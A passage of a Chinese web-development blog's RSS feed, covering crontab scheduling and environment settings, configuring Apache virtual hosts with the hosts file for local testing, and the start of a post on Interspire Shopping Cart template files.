<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 9.75pt; text-align: center;"><span lang="EN-US" style="font-size: 7.5pt; color: white; font-family: Verdana;">month</span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: gray none repeat scroll 0% 0%; width: 9%; height: 9.75pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 9.75pt; text-align: center;"><span lang="EN-US" style="font-size: 7.5pt; color: white; font-family: Verdana;">day/week</span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: gray none repeat scroll 0% 0%; width: 66%; height: 9.75pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" valign="top" width="66%">
<p align="left" class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 9.75pt; text-align: left;"><span lang="EN-US" style="font-size: 7.5pt; color: white; font-family: Verdana;">&nbsp;Execution time</span></p>
</td>
</tr>
<tr style="height: 28.5pt;">
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 8%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="8%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">30</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">0</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">1</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 13%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="13%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">1,6,12</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">*</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 66%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" valign="top" width="66%">
<p align="left" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;"><span lang="EN-US" style="font-size: 7.5pt; font-family: Verdana;">&ndash; 00:30 Hrs&nbsp; on 1st of Jan, June &amp; Dec.</span></p>
</td>
</tr>
<tr style="height: 0.75pt;">
<td colspan="6" style="border-color: rgb(242, 242, 242); padding: 0cm; background: rgb(219, 219, 219) none repeat scroll 0% 0%; width: 100%; height: 0.75pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="100%">
<p align="left" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;"><span lang="EN-US" style="font-size: 7.5pt; color: rgb(219, 219, 219); font-family: Verdana;">:</span></p>
</td>
</tr>
<tr style="height: 28.5pt;">
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 8%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="8%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">0</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">20</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">*</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 13%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="13%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">10</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">1-5</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 66%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" valign="top" width="66%">
<p align="left" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">&ndash;8.00 PM every weekday (Mon-Fri) only in Oct.</span></span></p>
</td>
</tr>
<tr style="height: 1.5pt;">
<td colspan="6" style="border-color: rgb(242, 242, 242); padding: 0cm; background: rgb(219, 219, 219) none repeat scroll 0% 0%; width: 100%; height: 1.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="100%">
<p align="left" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;"><span lang="EN-US" style="font-size: 7.5pt; color: rgb(219, 219, 219); font-family: Verdana;">:</span></p>
</td>
</tr>
<tr style="height: 28.5pt;">
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 8%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="8%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">0</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">0</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">1,10,15</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 13%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="13%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">*</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">*</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 66%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" valign="top" width="66%">
<p align="left" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">&ndash; midnight on 1st ,10th &amp; 15th of month</span></span></p>
</td>
</tr>
<tr style="height: 1.5pt;">
<td colspan="6" style="border-color: rgb(242, 242, 242); padding: 0cm; background: rgb(219, 219, 219) none repeat scroll 0% 0%; width: 100%; height: 1.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="100%">
<p align="left" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;"><span lang="EN-US" style="font-size: 7.5pt; color: rgb(219, 219, 219); font-family: Verdana;">:</span></p>
</td>
</tr>
<tr style="height: 28.5pt;">
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 8%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="8%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">5,10</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">0</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">10</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 13%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="13%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">*</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 9%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">1</span></span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: white none repeat scroll 0% 0%; width: 66%; height: 28.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" valign="top" width="66%">
<p align="left" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;"><span style="font-family: Times New Roman;"><span lang="EN-US" style="font-size: 12pt;">&ndash; At 12.05,12.10 every Monday &amp; on 10th of every month</span></span></p>
</td>
</tr>
<tr style="height: 0.75pt;">
<td colspan="6" style="border-color: rgb(242, 242, 242); padding: 0cm; background: rgb(219, 219, 219) none repeat scroll 0% 0%; width: 100%; height: 0.75pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="100%">
<p align="left" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;"><span lang="EN-US" style="font-size: 7.5pt; color: rgb(219, 219, 219); font-family: Verdana;">:</span></p>
</td>
</tr>
</tbody>
</table>
<p>注：要是无意间键入了没带参数的crontab 命令，别Control-d退出，这样会删掉所有的cronjob。 应该Control-c退出.</p>
<p>&nbsp;5. Crontab 环境设置</p>
<p>Cron其实是在shell(/usr/bin/sh).后台引用用户程序的命令。</p>
<p>&nbsp;Cron默认的shell环境是：</p>
<p>HOME=user&rsquo;s-home-directory</p>
<p>LOGNAME=user&rsquo;s-login-id</p>
<p>PATH=/usr/bin:/usr/sbin:.</p>
<p>SHELL=/usr/bin/sh &nbsp;</p>
<p>用户希望自己的配置文件在表或者脚本的入口直接执行。</p>
<p>&nbsp;6. 禁用邮件默认的cronjobs在执行任务时会给用户发一封邮件。如果您不需要的话可以通过以下命令关闭。 &gt;/dev/null 2&gt;&amp;1</p>
<p>&nbsp;7.&nbsp;&nbsp;&nbsp; 生成日志文件保存cronjobs日志只需作如下设置就可以</p>
<p>30 18&nbsp; *&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp; rm /home/someuser/tmp/* &gt; /home/someuser/cronlogs/clean_tmp_dir.log &ldquo;/home/someuser/cronlogs/clean_tmp_dir.log&rdquo;为日志文件保存的绝对路径 &nbsp; &nbsp;</p>
<p>英文原文地址</p>
<p><a href="http://www.adminschoice.com/docs/crontab.htm">http://www.adminschoice.com/docs/crontab.html</a></p>
<p>关于时间设置的实例:&nbsp; <a href="http://www.dengor.com/archives/453.html" rel="bookmark">Cron的时间设置的一些实例</a></p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1175.html" title="Centos安装和运行crontab">Centos安装和运行crontab</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/449.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>本地架设服务器设置多个虚拟主机</title>
		<link>http://www.dengor.com/archives/208.html</link>
		<comments>http://www.dengor.com/archives/208.html#comments</comments>
		<pubDate>Tue, 25 Aug 2009 16:47:54 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[AMP]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[服务器]]></category>
		<category><![CDATA[虚拟主机]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=208</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160; 很多网站项目都要在本地测试，再放到服务器上去。 所以在本地架设AMP服务器是很有必要的，我想只要有点基础的朋友，都知道应该怎么去架设。 但很多时候有多个网站在本也测试时，我想很多朋友都会把网站放在根目录下的不同文件夹中。这样一来网站的地址就会目录，要我们直接放上服务器上有区别，本地文件上传到服务器时还要修改一些设置。 &#160;&#160;&#160; 有没有想过，在本地测试时，我们就用不同的测试主机，这样对网站来说都在根目录下面。会少了很多网站上传后的目录方面的麻烦。 要解决这个问题，就要在本地架设多个虚拟主机。 &#160;&#160; 本架设多个虚拟主机其实也很简单，只要把Apache配置一下就行了。 &#160;&#160; 我们知道Apache的配置都是在httpd.conf文件设置。我们在文件的最后加上以下代码： &#60;VirtualHost *:80&#62; &#160;ServerName 192.168.1.85 &#160;ServerAlias 192.168.1.85 &#160;DocumentRoot &#34;D:/www/htdocs/85&#34; &#60;Directory &#34;D:/www/htdocs/85&#34;&#62; &#160;Options All ExecCGI FollowSymLinks Includes IncludesNOEXEC Indexes MultiViews &#160;DirectoryIndex index.html index.htm default.htm index.php default.php index.cgi default.cgi index.shtml index.aspx default.aspx&#160; &#160;AllowOverride All &#160;Order Deny,Allow &#160;Allow from all &#160;RewriteEngine On &#60;/Directory&#62; &#60;/VirtualHost&#62; &#160;&#160;&#160; &#60;VirtualHost *:80&#62;&#60;/VirtualHost&#62;就是配置一个虚拟主机，里面设置服务的地址和目录还有一些权限参数，重启Apach设置就生效了。我们就可以通过上面的设置 ServerName来访问这个虚拟主机，本例中是 [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp; 很多网站项目都要在本地测试，再放到服务器上去。 所以在本地架设AMP服务器是很有必要的，我想只要有点基础的朋友，都知道应该怎么去架设。 但很多时候有多个网站在本也测试时，我想很多朋友都会把网站放在根目录下的不同文件夹中。这样一来网站的地址就会目录，要我们直接放上服务器上有区别，本地文件上传到服务器时还要修改一些设置。</p>
<p>&nbsp;&nbsp;&nbsp; 有没有想过，在本地测试时，我们就用不同的测试主机，这样对网站来说都在根目录下面。会少了很多网站上传后的目录方面的麻烦。 要解决这个问题，就要在本地架设多个虚拟主机。</p>
<p><span id="more-208"></span></p>
<p>&nbsp;&nbsp; <strong>本架设多个虚拟主机其实也很简单，只要把Apache配置一下就行了</strong>。</p>
<p>&nbsp;&nbsp; 我们知道Apache的配置都是在<u><span style="color: rgb(51, 102, 255);">httpd.conf</span></u>文件设置。我们在文件的最后加上以下代码：</p>
<pre>
&lt;VirtualHost *:80&gt;

&nbsp;ServerName 192.168.1.85

&nbsp;ServerAlias 192.168.1.85

&nbsp;DocumentRoot &quot;D:/www/htdocs/85&quot;

&lt;Directory &quot;D:/www/htdocs/85&quot;&gt;

&nbsp;Options All ExecCGI FollowSymLinks Includes IncludesNOEXEC Indexes MultiViews

&nbsp;DirectoryIndex index.html index.htm default.htm index.php default.php index.cgi default.cgi index.shtml index.aspx default.aspx&nbsp; 

&nbsp;AllowOverride All 

&nbsp;Order Deny,Allow 

&nbsp;Allow from all 

&nbsp;RewriteEngine On

&lt;/Directory&gt;

&lt;/VirtualHost&gt;</pre>
<p>&nbsp;&nbsp;&nbsp; &lt;VirtualHost *:80&gt;&lt;/VirtualHost&gt;就是配置一个虚拟主机，里面设置服务的地址和目录还有一些权限参数，重启Apach设置就生效了。我们就可以通过上面的设置 ServerName来访问这个虚拟主机，本例中是 http://192.168.1.85</p>
<p>&nbsp;&nbsp;&nbsp; 从上面的例子我们可以看到，本地可以设置多个虚拟主机，只要这个URL能访问到本志的服务器就行了，因为解析权到Apach后，<strong>它会把不同的URL地址转到不同的目录中去</strong>。<span style="color: rgb(255, 102, 0);">Localhost</span>，<span style="color: rgb(255, 102, 0);">127.0.0.1</span>,<span style="color: rgb(255, 102, 0);">本地局域网的IP</span>都可以设置不同的虚拟主机，其它我们还可以通过修改windows的Hosts文件使用任意域名。<strong><span style="color: rgb(128, 0, 0);"> Hosts</span></strong>文件一般都在<span style="color: rgb(0, 0, 255);">%systemroot%\system(32)\drivers\etc</span>里面，打开文件可以看到：</p>
<pre>
#

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

#

# This file contains the mappings of IP addresses to host names. Each

# entry should be kept on an individual line. The IP address should

# be placed in the first column followed by the corresponding host name.

# The IP address and the host name should be separated by at least one

# space.

#

# Additionally, comments (such as these) may be inserted on individual

# lines or following the machine name denoted by a '#' symbol.

#

# For example:

#

#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 102.54.94.97&nbsp;&nbsp;&nbsp;&nbsp; rhino.acme.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # source server

#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 38.25.63.10&nbsp;&nbsp;&nbsp;&nbsp; x.acme.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # x client host

127.0.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; localhost</pre>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp; 在后面加入想要的域名就可以了，如你想通过xxxx.com访问本地的主机只要加入：</p>
<pre>
127.0.0.1&nbsp;&nbsp;&nbsp; xxxx.com</pre>
<p>&nbsp;&nbsp;</p>
<p>&nbsp;&nbsp; Mac os 中也有hosts文件 可以参考:  				<strong><a class="row-title" href="/archives/215.html" title="编辑 &ldquo;修改苹果Mac OS 中的Hosts文件&rdquo;">修改Mac OS 中的Hosts文件</a></strong></p>
<p>&nbsp;&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp; <strong>有很多服务器软件可以直接在图形化界面下设置虚拟主机</strong>，原理是一样的。推荐几个好用的服务软件</p>
<p>&nbsp;&nbsp;&nbsp; windows&nbsp;&nbsp;&nbsp; <a target="_blank" href="http://apmserv.s135.com">AMPServ</a></p>
<p>&nbsp;&nbsp;&nbsp; Mac OS&nbsp;&nbsp;&nbsp;&nbsp; <a target="_blank" href="http://www.mamp.info">MAMP</a><br />
&nbsp;</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1291.html" title="prestashop在lnmpa下图片不显示问题">prestashop在lnmpa下图片不显示问题</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/208.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>解读ISC的模板文件架构和模板编写方法</title>
		<link>http://www.dengor.com/archives/184.html</link>
		<comments>http://www.dengor.com/archives/184.html#comments</comments>
		<pubDate>Fri, 14 Aug 2009 13:20:50 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[Interspire Shopping Cart]]></category>
		<category><![CDATA[ISC]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[分享]]></category>
		<category><![CDATA[架构]]></category>
		<category><![CDATA[模板]]></category>
		<category><![CDATA[网店]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=184</guid>
		<description><![CDATA[&#160;&#160;&#160; ISC也就是Interspire Shopping Cart， 是一个基于php+mysql的商业的网店程序。虽然没有Zen-Cart和osCommerce 的用户数据庞大，但凭借其安装简单，功能强大，界面友好的特点，我相信会有越来越多的人喜欢。 &#160;&#160;&#160; ISC程序本身有很多模板可以选择，但网店的特殊性，都希望自己的网店跟别人的不一样，修改模板也是很正常的事。最近在做一个项目，应用了Interspire Shopping Cart，因为只是对模板文件是修改，大概了解了一下ISC的文件架构和模板调用的流程。登高望远 &#160;&#160;&#160; 模板文件都在/templates下面，默认调用的是default模板，可以在后台的Store Design菜单中很方便的设置模板，前台马上就跟着改变，的确是很方便。一看上去Default里面有好多文件，感觉很乱，不知道从何下手。当你明白ISC的模板调用流程以后，你就会明白每个文件的用途。 &#160;&#160;&#160; 下面我们就来看一下模板文件的调用流程： 1. index.php是入口文件,主要是响应用户的操作, 默认是调用模板文件 /templates/default/default.html, 先看下defualt.html的代码: &#60;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&#62; &#60;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&#62; %%Panel.HTMLHead%% &#60;body&#62; &#60;div id=&#34;Container&#34;&#62; &#160;&#160;&#160; %%Panel.Header%% &#160;&#160;&#160; &#60;div id=&#34;Wrapper&#34;&#62; &#160;&#160;&#160; &#160;&#160;&#160; &#60;div class=&#34;Left&#34; id=&#34;LayoutColumn1&#34;&#62; &#160;&#160;&#160; &#160;&#160;&#160; &#160;&#160;&#160; %%Panel.SideCategoryList%% &#160;&#160;&#160; &#160;&#160;&#160; &#160;&#160;&#160; %%Panel.SidePopularVendors%% &#160;&#160;&#160; &#160;&#160;&#160; &#160;&#160;&#160; [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp; <strong>ISC</strong>也就是Interspire Shopping Cart， 是一个基于php+mysql的商业的网店程序。虽然没有<a href="http://www.zen-cart.com/" target="_blank">Zen-Cart</a>和<a href="http://www.oscommerce.com" target="_blank">osCommerce</a> 的用户数据庞大，但凭借其安装简单，功能强大，界面友好的特点，我相信会有越来越多的人喜欢。</p>
<p>&nbsp;&nbsp;&nbsp; ISC程序本身有很多<strong>模板</strong>可以选择，但网店的特殊性，都希望自己的网店跟别人的不一样，修改模板也是很正常的事。最近在做一个项目，应用了Interspire Shopping Cart，因为只是对模板文件是修改，大概了解了一下ISC的文件架构和模板调用的流程。<a class="wh" href="http://www.dengor.com">登高望远</a></p>
<p>&nbsp;&nbsp;&nbsp; 模板文件都在/templates下面，默认调用的是default模板，可以在后台的Store Design菜单中很方便的设置模板，前台马上就跟着改变，的确是很方便。一看上去Default里面有好多文件，感觉很乱，不知道从何下手。当你明白ISC的模板调用流程以后，你就会明白每个文件的用途。</p>
<p>&nbsp;&nbsp;&nbsp; 下面我们就来看一下模板文件的调用流程：</p>
<p><span id="more-184"></span><strong>1. index.php是入口文件,主要是响应用户的操作</strong>, 默认是调用模板文件 /templates/default/default.html, 先看下defualt.html的代码:</p>
<pre>&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;
&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
%%Panel.HTMLHead%%
&lt;body&gt;
&lt;div id=&quot;Container&quot;&gt;
&nbsp;&nbsp;&nbsp; %%Panel.Header%%
&nbsp;&nbsp;&nbsp; &lt;div id=&quot;Wrapper&quot;&gt;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;Left&quot; id=&quot;LayoutColumn1&quot;&gt;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.SideCategoryList%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.SidePopularVendors%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.SideShopByBrand%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.SideNewsletterBox%%
